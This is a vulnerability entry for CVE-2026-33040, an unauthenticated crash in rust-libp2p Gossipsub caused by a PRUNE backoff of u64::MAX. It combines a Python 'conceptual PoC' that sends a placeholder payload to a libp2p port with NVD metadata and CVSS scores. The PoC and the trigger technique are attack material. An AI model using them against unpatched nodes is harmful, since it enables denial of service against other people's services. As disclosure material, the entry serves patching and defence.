CVE-2026-33040

import socket import struct # Conceptual PoC for CVE-2026-33040 # This script demonstrates the logic of sending a PRUNE message with a massive backoff value. # Actual implementation requires encoding the protobuf message structure defined by libp2p Gossipsub. TARGET_IP = "127.0.0.1" TARGET_PORT = 4001 # Default libp2p peer port def create_malicious_prune_payload(): """ Creates a conceptual Gossipsub PRUNE message. The critical part is the 'backoff' field set to u64::MAX (18446744073709551615). """ # Note: Real-world exploitation requires constructing the valid protobuf bytes. # This is a placeholder representing the payload structure. print("[+] Crafting PRUNE message with backoff = u64::MAX") # Simulating the overflow trigger value backoff_val = (1 << 64) - 1 # In a real exploit, this would be serialized protobuf bytes. # For demonstration, we return a dummy byte array. return b"\x00\x00\x00..." def exploit(): try: print(f"[+] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) payload = create_malicious_prune_payload() s.send(payload) print("[+] Malicious PRUNE message sent.") print("[+] If vulnerable, the target should panic and crash.") s.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-33040", "sourceIdentifier": "[email protected]", "published": "2026-03-20T06:16:12.330", "lastModified": "2026-05-01T18:37:29.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "libp2p-rust is the official rust language Implementation of the libp2p networking stack. In versions prior to 0.49.3, the Gossipsub implementation accepts attacker-controlled PRUNE backoff values and may perform unchecked time arithmetic when storing backoff state. A specially crafted PRUNE control message with an extremely large backoff (e.g. u64::MAX) can lead to Duration/Instant overflow during backoff update logic, triggering a panic in the networking state machine. This is remotely reachable over a normal libp2p connection and does not require authentication. Any application exposing a libp2p Gossipsub listener and using the affected backoff-handling path can be crashed by a network attacker that can reach the service port. The attack can be repeated by reconnecting and replaying the crafted control message. This issue has been fixed in version 0.49.3."}, {"lang": "es", "value": "libp2p-rust es la implementación oficial en lenguaje Rust de la pila de red libp2p. En versiones anteriores a la 0.49.3, la implementación de Gossipsub acepta valores de retroceso PRUNE controlados por el atacante y puede realizar aritmética de tiempo sin verificar al almacenar el estado de retroceso. Un mensaje de control PRUNE especialmente diseñado con un retroceso extremadamente grande (p. ej., u64::MAX) puede provocar un desbordamiento de Duration/Instant durante la lógica de actualización del retroceso, desencadenando un pánico en la máquina de estados de la red. Esto es accesible remotamente a través de una conexión libp2p normal y no requiere autenticación. Cualquier aplicación que exponga un oyente Gossipsub de libp2p y que utilice la ruta de manejo de retroceso afectada puede ser bloqueada por un atacante de red que pueda alcanzar el puerto del servicio. El ataque puede repetirse reconectándose y reproduciendo el mensaje de control diseñado. Este problema ha sido solucionado en la versión 0.49.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:protocol:libp2p-gossipsub:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.49.3", "matchCriteriaId": "38F67451-E9D3-42D5-A751-2E222335EA64"}]}]}], "references": [{"url": "https://github.com/libp2p/rust-libp2p/security/advisories/GHSA-gc42-3jg7-rxr2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}